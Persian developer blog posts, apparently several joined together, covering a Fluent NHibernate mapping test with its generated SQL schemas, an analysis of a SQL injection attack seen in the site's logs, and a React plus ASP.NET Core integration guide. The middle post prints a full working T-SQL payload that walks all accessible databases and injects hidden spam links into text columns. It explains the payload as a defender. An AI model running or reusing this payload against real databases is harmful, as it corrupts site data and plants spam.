using NUnit.Framework;
using NHSample1.Domain;
using FluentNHibernate.Testing;

namespace UnitTests
{
[TestFixture]
public class OrderMapping_Fixture : FixtureBase
{
[Test]
public void can_correctly_map_an_order()
{
{
var product1 =
new Product
{
Name = "Apples",
UnitPrice = 4.5m,
Discontinued = true
};
var product2 =
new Product
{
Name = "Pears",
UnitPrice = 3.5m,
Discontinued = false
};

Session.Save(product1);
Session.Save(product2);

var items = new List<OrderItem>
{
new OrderItem
{
Id = 1,
Quantity = 100,
Product = product1
},
new OrderItem
{
Id = 2,
Quantity = 200,
Product = product2
}
};

var customer = new Customer
{
FirstName = "Vahid",
LastName = "Nasiri",
AddressLine1 = "Addr1",
AddressLine2 = "Addr2",
PostalCode = "1234",
City = "Tehran",
CountryCode = "IR"
};

var employee =
new Employee
{
FirstName = "name1",
LastName = "lname1"
};



var order = new Order
{
Customer = customer,
Employee = employee,
OrderDate = DateTime.Today,
OrderItems = items
};

new PersistenceSpecification<Order>(Session, new CustomEqualityComparer())
.CheckProperty(o => o.OrderDate, order.OrderDate)
.CheckReference(o => o.Customer, order.Customer)
.CheckReference(o => o.Employee, order.Employee)
.CheckList(o => o.OrderItems, order.OrderItems)
.VerifyTheMappings();
}
}
}
}
همانطور که ملاحظه می‌کنید در این متد آزمون واحد، نیاز به مشخص سازی منطق مقایسه اشیاء سفارش، مشتری و آیتم‌های سفارش داده شده نیز وجود دارد که پیشتر در کلاس CustomEqualityComparer معرفی شدند؛ درغیر اینصورت این آزمون واحد با شکست مواجه می‌شد.
متد آزمون واحد فوق کمی طولانی است؛ زیرا در آن باید تعاریف انواع و اقسام اشیاء مورد استفاده را مشخص نمود (و ارزش کار نیز دقیقا در همینجا مشخص می‌شود که بجای SQL نوشتن، با اشیایی که توسط کامپایلر تحت نظر هستند سر و کار داریم).
تنها نکته جدید آن استفاده از CheckList برای بررسی IList تعریف شده در قسمت قبل است.

خروجی SQL این آزمون واحد پس از اجرا و موفقیت آن به صورت زیر است:

OrderMapping_Fixture.can_correctly_map_an_order : Passed
NHibernate: select next_hi from hibernate_unique_key
NHibernate: update hibernate_unique_key set next_hi = @p0 where next_hi = @p1;@p0 = 2, @p1 = 1
NHibernate: select next_hi from hibernate_unique_key
NHibernate: update hibernate_unique_key set next_hi = @p0 where next_hi = @p1;@p0 = 3, @p1 = 2
NHibernate: INSERT INTO "Product" (Name, UnitPrice, Discontinued, Id) VALUES (@p0, @p1, @p2, @p3);@p0 = 'Apples', @p1 = 4.5, @p2 = True, @p3 = 1001
NHibernate: INSERT INTO "Product" (Name, UnitPrice, Discontinued, Id) VALUES (@p0, @p1, @p2, @p3);@p0 = 'Pears', @p1 = 3.5, @p2 = False, @p3 = 1002
NHibernate: INSERT INTO "Customer" (FirstName, LastName, AddressLine1, AddressLine2, PostalCode, City, CountryCode, Id) VALUES (@p0, @p1, @p2, @p3, @p4, @p5, @p6, @p7);@p0 = 'Vahid', @p1 = 'Nasiri', @p2 = 'Addr1', @p3 = 'Addr2', @p4 = '1234', @p5 = 'Tehran', @p6 = 'IR', @p7 = 2002
NHibernate: select next_hi from hibernate_unique_key
NHibernate: update hibernate_unique_key set next_hi = @p0 where next_hi = @p1;@p0 = 4, @p1 = 3
NHibernate: INSERT INTO "Employee" (LastName, FirstName, Id) VALUES (@p0, @p1, @p2);@p0 = 'lname1', @p1 = 'name1', @p2 = 3003
NHibernate: INSERT INTO "OrderItem" (Quantity, Product_id, Id) VALUES (@p0, @p1, @p2);@p0 = 100, @p1 = 1001, @p2 = 1
NHibernate: INSERT INTO "OrderItem" (Quantity, Product_id, Id) VALUES (@p0, @p1, @p2);@p0 = 200, @p1 = 1002, @p2 = 2
NHibernate: INSERT INTO "Order" (OrderDate, Employee_id, Customer_id, Id) VALUES (@p0, @p1, @p2, @p3);@p0 = 2009/10/10 12:00:00 ق.ظ, @p1 = 3003, @p2 = 2002, @p3 = 0
NHibernate: UPDATE "OrderItem" SET Order_id = @p0, ListIndex = @p1 WHERE Id = @p2;@p0 = 0, @p1 = 0, @p2 = 1
NHibernate: UPDATE "OrderItem" SET Order_id = @p0, ListIndex = @p1 WHERE Id = @p2;@p0 = 0, @p1 = 1, @p2 = 2
NHibernate: SELECT order0_.Id as Id1_2_, order0_.OrderDate as OrderDate1_2_, order0_.Employee_id as Employee3_1_2_, order0_.Customer_id as Customer4_1_2_, employee1_.Id as Id4_0_, employee1_.LastName as LastName4_0_, employee1_.FirstName as FirstName4_0_, customer2_.Id as Id2_1_, customer2_.FirstName as FirstName2_1_, customer2_.LastName as LastName2_1_, customer2_.AddressLine1 as AddressL4_2_1_, customer2_.AddressLine2 as AddressL5_2_1_, customer2_.PostalCode as PostalCode2_1_, customer2_.City as City2_1_, customer2_.CountryCode as CountryC8_2_1_ FROM "Order" order0_ inner join "Employee" employee1_ on order0_.Employee_id=employee1_.Id inner join "Customer" customer2_ on order0_.Customer_id=customer2_.Id WHERE order0_.Id=@p0;@p0 = 0
NHibernate: SELECT orderitems0_.Order_id as Order4_2_, orderitems0_.Id as Id2_, orderitems0_.ListIndex as ListIndex2_, orderitems0_.Id as Id0_1_, orderitems0_.Quantity as Quantity0_1_, orderitems0_.Product_id as Product3_0_1_, product1_.Id as Id3_0_, product1_.Name as Name3_0_, product1_.UnitPrice as UnitPrice3_0_, product1_.Discontinued as Disconti4_3_0_ FROM "OrderItem" orderitems0_ inner join "Product" product1_ on orderitems0_.Product_id=product1_.Id WHERE orderitems0_.Order_id=@p0;@p0 = 0

تا اینجای کار تعاریف اشیاء ، نگاشت آن‌ها و همچنین بررسی صحت این نگاشت‌ها به پایان می‌رسد.

نکته:
دیتابیس برنامه را جهت آزمون‌های واحد برنامه، از نوع SQLite ساخته شده در حافظه مشخص کردیم. اگر علاقمند باشید که database schema تولید شده توسط NHibernate را مشاهده نمائید، در متد SetupContext کلاس FixtureBase که در قسمت قبل معرفی شد، سطر آخر را به صورت زیر تغییر دهید، تا اسکریپت دیتابیس نیز به صورت خودکار در خروجی اس کیوال آزمون واحد لحاظ شود (پارامتر دوم آن مشخص می‌کند که schema ساخته شده، نمایش داده شود یا خیر):

SessionSource.BuildSchema(Session, true);
پس از این تغییر و انجام مجدد آزمون واحد، اسکریپت دیتابیس ما به صورت زیر خواهد بود (که جهت ایجاد یک دیتابیس SQLite می‌تواند مورد استفاده قرار گیرد):

drop table if exists "OrderItem"

drop table if exists "Order"

drop table if exists "Customer"

drop table if exists "Product"

drop table if exists "Employee"

drop table if exists hibernate_unique_key

create table "OrderItem" (
Id INTEGER not null,
Quantity INTEGER not null,
Product_id INTEGER not null,
Order_id INTEGER,
ListIndex INTEGER,
primary key (Id)
)

create table "Order" (
Id INTEGER not null,
OrderDate DATETIME not null,
Employee_id INTEGER not null,
Customer_id INTEGER not null,
primary key (Id)
)

create table "Customer" (
Id INTEGER not null,
FirstName TEXT not null,
LastName TEXT not null,
AddressLine1 TEXT not null,
AddressLine2 TEXT,
PostalCode TEXT not null,
City TEXT not null,
CountryCode TEXT not null,
primary key (Id)
)

create table "Product" (
Id INTEGER not null,
Name TEXT not null,
UnitPrice NUMERIC not null,
Discontinued INTEGER not null,
primary key (Id)
)

create table "Employee" (
Id INTEGER not null,
LastName TEXT,
FirstName TEXT,
primary key (Id)
)

create table hibernate_unique_key (
next_hi INTEGER
)
البته اگر مستندات SQLite را مطالعه کرده باشید می‌دانید که مفهوم کلید خارجی در این دیتابیس وجود دارد اما اعمال نمی‌شود! (برای اعمال آن باید تریگر نوشت) به همین جهت در این اسکریپت تولیدی خبری از کلید خارجی نیست.

برای اینکه از دیتابیس اس کیوال سرور استفاده کنیم، در همان متد SetupContext کلاس مذکور، سطر اول را به صورت زیر تغییر دهید (نوع دیتابیس اس کیوال سرور 2008 مشخص شده و سپس رشته اتصالی به دیتابیس ذکر گردیده است):

var cfg = Fluently.Configure().Database(
// SQLiteConfiguration.Standard.ShowSql().InMemory
MsSqlConfiguration
.MsSql2008
.ShowSql()
.ConnectionString("Data Source=(local);Initial Catalog=testdb2009;Integrated Security = true")
);

اکنون اگر مجددا آزمون واحد را اجرا نمائیم، اسکریپت تولیدی به صورت زیر خواهد بود (در اینجا مفهوم استقلال برنامه از نوع دیتابیس را به خوبی می‌توان درک کرد):

if exists (select 1 from sys.objects where object_id = OBJECT_ID(N'[FK3EF88858466CFBF7]') AND parent_object_id = OBJECT_ID('[OrderItem]'))
alter table [OrderItem] drop constraint FK3EF88858466CFBF7


if exists (select 1 from sys.objects where object_id = OBJECT_ID(N'[FK3EF888589F32DE52]') AND parent_object_id = OBJECT_ID('[OrderItem]'))
alter table [OrderItem] drop constraint FK3EF888589F32DE52


if exists (select 1 from sys.objects where object_id = OBJECT_ID(N'[FK3117099B1EBA72BC]') AND parent_object_id = OBJECT_ID('[Order]'))
alter table [Order] drop constraint FK3117099B1EBA72BC


if exists (select 1 from sys.objects where object_id = OBJECT_ID(N'[FK3117099BB2F9593A]') AND parent_object_id = OBJECT_ID('[Order]'))
alter table [Order] drop constraint FK3117099BB2F9593A


if exists (select * from dbo.sysobjects where id = object_id(N'[OrderItem]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [OrderItem]

if exists (select * from dbo.sysobjects where id = object_id(N'[Order]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [Order]

if exists (select * from dbo.sysobjects where id = object_id(N'[Customer]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [Customer]

if exists (select * from dbo.sysobjects where id = object_id(N'[Product]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [Product]

if exists (select * from dbo.sysobjects where id = object_id(N'[Employee]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [Employee]

if exists (select * from dbo.sysobjects where id = object_id(N'hibernate_unique_key') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table hibernate_unique_key

create table [OrderItem] (
Id INT not null,
Quantity INT not null,
Product_id INT not null,
Order_id INT null,
ListIndex INT null,
primary key (Id)
)

create table [Order] (
Id INT not null,
OrderDate DATETIME not null,
Employee_id INT not null,
Customer_id INT not null,
primary key (Id)
)

create table [Customer] (
Id INT not null,
FirstName NVARCHAR(50) not null,
LastName NVARCHAR(50) not null,
AddressLine1 NVARCHAR(50) not null,
AddressLine2 NVARCHAR(50) null,
PostalCode NVARCHAR(10) not null,
City NVARCHAR(50) not null,
CountryCode NVARCHAR(2) not null,
primary key (Id)
)

create table [Product] (
Id INT not null,
Name NVARCHAR(50) not null,
UnitPrice DECIMAL(19,5) not null,
Discontinued BIT not null,
primary key (Id)
)

create table [Employee] (
Id INT not null,
LastName NVARCHAR(50) null,
FirstName NVARCHAR(50) null,
primary key (Id)
)

alter table [OrderItem]
add constraint FK3EF88858466CFBF7
foreign key (Product_id)
references [Product]

alter table [OrderItem]
add constraint FK3EF888589F32DE52
foreign key (Order_id)
references [Order]

alter table [Order]
add constraint FK3117099B1EBA72BC
foreign key (Employee_id)
references [Employee]

alter table [Order]
add constraint FK3117099BB2F9593A
foreign key (Customer_id)
references [Customer]

create table hibernate_unique_key (
next_hi INT
)
که نکات ذیل در مورد آن جالب توجه است:
الف) جداول مطابق نام کلاس‌های ما تولید شده‌اند.
ب) نام فیلدها دقیقا مطابق نام خواص کلاس‌های ما تشکیل شده‌اند.
ج) Id ها به صورت primary key تعریف شده‌اند (از آنجائیکه ما در هنگام تعریف نگاشت‌ها، آن‌ها را از نوع identity مشخص کرده بودیم).
د) رشته‌ها به نوع nvarchar با اندازه 50 نگاشت شده‌اند.
ه) کلیدهای خارجی بر اساس نام جدول با پسوند _id تشکیل شده‌اند.




ادامه دارد ...


مطالب
نمونه‌ای از تزریق اس کیوال جهت درج تبلیغات مخفی شده‌ی در رکوردهای سایت
مدتی هست در لاگ‌های ELMAH سایت، یک چنین تزریق‌های اس کیوال ناموفقی مشاهده می‌شوند:


اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آن‌ها تبلیغات یک سری سایت‌های کذایی وجود دارند، اضافه شده‌اند، حتما مورد حمله‌ی SQL Injection فوق واقع شده‌اید.

مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آن‌را به عنوان پارامتر سازنده‌ی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف می‌شود:


ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره می‌کنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئری‌های غیرپارامتری و یا از ORMها استفاده نمی‌کنید.

ج) آیا به محتوای دریافت شده‌ی از طریق کوئری استرینگ‌ها دقت دارید؟
این مورد نیز همانند حالت ب است.


بررسی ساختار این حمله

کوئری ارسالی (البته با حذف آدرس سایت‌های کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;
در اینجا ابتدا لیست بانک‌های اطلاعاتی موجود دریافت می‌شوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، می‌کند. از try/catch هم به این دلیل استفاده کرده‌است که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده می‌کنید که ... هم اکنون تمام بانک‌های اطلاعاتی شما آلوده شده‌اند!
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آن‌ها درج می‌کند.
مطالب
روش یکی کردن پروژه‌های React و ASP.NET Core
یک روش کار کردن با پروژه‌های SPA، توسعه‌ی مجزای قسمت‌های front-end و back-end است. برای مثال پروژه‌ی React را به صورت جداگانه‌ای توسعه می‌دهیم، پروژه‌ی ASP.NET Core را نیز به همین صورت. هنگام آزمایش برنامه، در یکی دستور npm start را اجرا می‌کنیم تا وب سرور آزمایشی React، آن‌را در آدرس http://localhost:3000 قابل دسترسی کند و در دیگری دستور dotnet watch run را صادر می‌کنیم تا برنامه‌ی وب ASP.NET Core را بر روی آدرس https://localhost:5001 مهیا کند. سپس برای اینکه از پورت 3000 بتوان با پورت 5001 کار کرد، نیاز خواهد بود تا CORS را در برنامه‌ی ASP.NET Core فعالسازی کنیم. در حین ارائه‌ی نهایی برنامه نیز هر کدام را به صورت مجزا publish کرده و بعد هم خروجی نهایی پروژه‌ی SPA را در پوشه‌ی wwwroot برنامه‌ی وب کپی می‌کنیم تا قابل دسترسی و استفاده شود. روش دیگری نیز برای یکی/ساده سازی این تجربه وجود دارد که در این مطلب به آن خواهیم پرداخت.


پیشنیاز: ایجاد یک برنامه‌ی خالی React و ASP.NET Core

یک پوشه‌ی خالی را ایجاد کرده و در آن دستور dotnet new react را صادر کنید، تا قالب خاص پروژه‌های React یکی سازی شده‌ی با پروژه‌های ASP.NET Core، یک پروژه‌ی جدید را ایجاد کند.


همانطور که در تصویر فوق نیز مشاهده می‌کنید، این پروژه از دو برنامه تشکیل شده‌است:
الف) برنامه‌ی SPA که در پوشه‌ی ClientApp قرار گرفته‌است و شامل کدهای کامل یک برنامه‌ی React است.
ب) برنامه‌ی سمت سرور ASP.NET Core که یک برنامه‌ی متداول وب، به همراه فایل Startup.cs و سایر فایل‌های مورد نیاز آن است.

در ادامه نکات ویژه‌ی ساختار این پروژه را بررسی خواهیم کرد.


تجربه‌ی توسعه‌ی برنامه‌ها توسط این قالب ویژه

اکنون اگر این پروژه‌ی وب را برای مثال با فشردن دکمه‌ی F5 و یا اجرای دستور dotnet run، اجرا کنیم، چه اتفاقی رخ می‌دهد؟
- به صورت خلاصه برنامه‌ی ASP.NET Core شروع به کار کرده و سبب ارائه همزمان برنامه‌ی SPA نیز خواهد شد.
- پورتی که برنامه‌ی وب بر روی آن قرار دارد، با پورتی که برنامه‌ی React بر روی روی آن ارائه می‌شود، یکی است. یعنی نیازی به تنظیمات CORS را ندارد.
- در این حالت اگر در برنامه‌ی React تغییری را ایجاد کنیم (در هر قسمتی از آن)، hot reloading آن هنوز هم برقرار است و سبب بارگذاری مجدد برنامه‌ی SPA در مرورگر خواهد شد و برای اینکار نیازی به توقف و راه اندازی مجدد برنامه‌ی ASP.NET Core نیست.

اما این تجربه‌ی روان کاربری و توسعه، چگونه حاصل شده‌است؟


بررسی ساختار فایل Startup.cs یک پروژه‌ی مبتنی بر dotnet new react

برای درک نحوه‌ی عملکرد این قالب ویژه، نیاز است از فایل Startup.cs آن شروع کرد.
// ...
using Microsoft.AspNetCore.SpaServices.ReactDevelopmentServer;

namespace dotnet_template_sample
{
    public class Startup
    {
        // ...

        public void ConfigureServices(IServiceCollection services)
        {

            services.AddControllersWithViews();

            // In production, the React files will be served from this directory
            services.AddSpaStaticFiles(configuration =>
            {
                configuration.RootPath = "ClientApp/build";
            });
        }
در ابتدا تعریف فضای نام SpaServices را مشاهده می‌کنید. بسته‌ی متناظر با آن در فایل csproj برنامه به صورت زیر ثبت شده‌است:
<ItemGroup>
   <PackageReference Include="Microsoft.AspNetCore.SpaServices.Extensions" Version="3.1.2" />
</ItemGroup>
این بسته، همان بسته‌ی جدید SpaServices است و در NET 5x. نیز پشتیبانی خواهد شد .

در متد ConfigureServices، ثبت سرویس‌های مرتبط با فایل‌های استاتیک پروژه‌ی SPA، توسط متد AddSpaStaticFiles صورت گرفته‌است. در اینجا RootPath آن، به پوشه‌ی ClientApp/build اشاره می‌کند. البته این پوشه هنوز در این ساختار، قابل مشاهده نیست؛ اما زمانیکه پروژه‌ی ASP.NET Core را برای ارائه‌ی نهایی، publish کردیم، به صورت خودکار ایجاد شده و حاوی فایل‌های قابل ارائه‌ی برنامه‌ی React نیز خواهد بود.

قسمت مهم دیگر کلاس آغازین برنامه، متد Configure آن است:
// ...
using Microsoft.AspNetCore.SpaServices.ReactDevelopmentServer;

namespace dotnet_template_sample
{
    public class Startup
    {
        // ...

        public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
        {
            // ...
            app.UseStaticFiles();
            app.UseSpaStaticFiles();

            app.UseRouting();

            app.UseEndpoints(endpoints =>
            {
                endpoints.MapControllerRoute(
                    name: "default",
                    pattern: "{controller}/{action=Index}/{id?}");
            });

            app.UseSpa(spa =>
            {
                spa.Options.SourcePath = "ClientApp";

                if (env.IsDevelopment())
                {
                    spa.UseReactDevelopmentServer(npmScript: "start");
                }
            });
        }
    }
}
در اینجا ثبت سه میان افزار جدید را مشاهده می‌کنید:
- متد UseSpaStaticFiles، سبب ثبت میان‌افزاری می‌شود که امکان دسترسی به فایل‌های استاتیک پوشه‌ی ClientApp حاوی برنامه‌ی React را میسر می‌کند؛ مسیر این پوشه را در متد ConfigureServices تنظیم کردیم.
- متد UseSpa، سبب ثبت میان‌افزاری می‌شود که دو کار مهم را انجام می‌دهد:
1- کار اصلی آن، ثبت مسیریابی معروف catch all است تا مسیریابی‌هایی را که توسط کنترلرهای برنامه‌ی ASP.NET Core مدیریت نمی‌شوند، به سمت برنامه‌ی React هدایت کند. برای مثال مسیر https://localhost:5001/api/users به یک کنترلر API برنامه‌ی سمت سرور ختم می‌شود، اما سایر مسیرها مانند https://localhost:5001/login قرار است صفحه‌ی login برنامه‌ی سمت کلاینت SPA را نمایش دهند و متناظر با اکشن متد خاصی در کنترلرهای برنامه‌ی وب ما نیستند. در این حالت، کار این مسیریابی catch all، نمایش صفحه‌ی پیش‌فرض برنامه‌ی SPA است.
2- بررسی می‌کند که آیا شرایط IsDevelopment برقرار است؟ آیا در حال توسعه‌ی برنامه هستیم؟ اگر بله، میان‌افزار دیگری را به نام UseReactDevelopmentServer، اجرا و ثبت می‌کند.

برای درک عملکرد میان‌افزار ReactDevelopmentServer نیاز است به سورس آن مراجعه کرد. این میان‌افزار بر اساس پارامتر start ای که دریافت می‌کند، سبب اجرای npm run start خواهد شد. به این ترتیب دیگر نیازی به اجرای جداگانه‌ی این دستور نخواهد بود و همچنین این اجرا، به همراه تنظیمات proxy مخصوصی نیز هست تا پورت اجرایی برنامه‌ی React و برنامه‌ی ASP.NET Core یکی شده و دیگر نیازی به تنظیمات CORS مخصوص برنامه‌های React نباشد. بنابراین hot reloading ای که از آن صحبت شد، توسط ASP.NET Core مدیریت نمی‌شود. در پشت صحنه همان npm run start اصلی برنامه‌های React، در حال اجرای وب سرور آزمایشی React است که از hot reloading پشتیبانی می‌کند.

یک مشکل: با این تنظیم، هربار که برنامه‌ی ASP.NET Core اجرا می‌شود (به علت تغییرات در کدها و فایل‌های پروژه)، سبب اجرای مجدد و پشت صحنه‌ی react development server نیز خواهد شد که ... آغاز برنامه را در حالت توسعه، کند می‌کند. برای رفع این مشکل می‌توان این وب سرور توسعه‌ی برنامه‌های React را به صورت جداگانه‌ای اجرا کرد و فقط تنظیمات پروکسی آن‌را در اینجا ذکر نمود:
// replace
spa.UseReactDevelopmentServer(npmScript: "start");
// with
spa.UseProxyToSpaDevelopmentServer("http://localhost:3000");
در اینجا فقط کافی است سطر UseReactDevelopmentServer را با تنظیم UseProxyToSpaDevelopmentServer که به آدرس وب سرور توسعه‌ی برنامه‌های React اشاره می‌کند، تنظیم کنیم. بدیهی است در اینجا حالت باید از طریق خط فرمان به پوشه‌ی clientApp وارد شد و دستور npm start را یکبار به صورت دستی اجرا کرد، تا این وب سرور، راه اندازی شود.


تغییرات ویژه‌ی فایل csproj برنامه

اگر به فایل csproj برنامه دقت کنیم، دو تغییر جدید نیز در آن قابل مشاهده هستند:
الف) نصب خودکار وابستگی‌های برنامه‌ی client
  <Target Name="DebugEnsureNodeEnv"
     BeforeTargets="Build" 
     Condition=" '$(Configuration)' == 'Debug' And !Exists('$(SpaRoot)node_modules') ">
    <!-- Ensure Node.js is installed -->
    <Exec Command="node --version" ContinueOnError="true">
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Error Condition="'$(ErrorCode)' != '0'" Text="Node.js is required to build and run this project. To continue, please install Node.js from https://nodejs.org/, and then restart your command prompt or IDE." />
    <Message Importance="high" Text="Restoring dependencies using 'npm'. This may take several minutes..." />
    <Exec WorkingDirectory="$(SpaRoot)" Command="npm install" />
  </Target>
در این تنظیم، در حالت build و debug، ابتدا بررسی می‌کند که آیا پوشه‌ی node_modules برنامه‌ی SPA وجود دارد؟ اگر خیر، ابتدا مطمئن می‌شود که node.js بر روی سیستم نصب است و سپس دستور npm install را صادر می‌کند تا تمام وابستگی‌های برنامه‌ی client، دریافت و نصب شوند.

ب) یکی کردن تجربه‌ی publish برنامه‌ی ASP.NET Core با publish پروژه‌های React
  <Target Name="PublishRunWebpack" AfterTargets="ComputeFilesToPublish">
    <!-- As part of publishing, ensure the JS resources are freshly built in production mode -->
    <Exec WorkingDirectory="$(SpaRoot)" Command="npm install" />
    <Exec WorkingDirectory="$(SpaRoot)" Command="npm run build" />

    <!-- Include the newly-built files in the publish output -->
    <ItemGroup>
      <DistFiles Include="$(SpaRoot)build\**" />
      <ResolvedFileToPublish Include="@(DistFiles->'%(FullPath)')" Exclude="@(ResolvedFileToPublish)">
        <RelativePath>%(DistFiles.Identity)</RelativePath>
        <CopyToPublishDirectory>PreserveNewest</CopyToPublishDirectory>
        <ExcludeFromSingleFile>true</ExcludeFromSingleFile>
      </ResolvedFileToPublish>
    </ItemGroup>
  </Target>
میان‌افزار ReactDevelopmentServer کار اجرا و پروکسی دستور npm run start را در حالت توسعه انجام می‌دهد. اما در حالت ارائه‌ی نهایی چطور؟ در اینجا نیاز است دستور npm run build اجرا شده و فایل‌های مخصوص ارائه‌ی نهایی برنامه‌ی React تولید و سپس به پوشه‌ی wwwroot، کپی شوند. تنظیم فوق، دقیقا همین کار را در حین publish برنامه‌ی ASP.NET Core، به صورت خودکار انجام می‌دهد و شامل این مراحل است:
-  ابتدا npm install را جهت اطمینان از به روز بودن وابستگی‌های برنامه مجددا اجرا می‌کند.
- سپس npm run build را برای تولید فایل‌های قابل ارائه‌ی برنامه‌ی React اجرا می‌کند.
- در آخر تمام فایل‌های پوشه‌ی ClientApp/build تولیدی را به بسته‌ی نهایی توزیعی برنامه‌ی ASP.NET Core، اضافه می‌کند.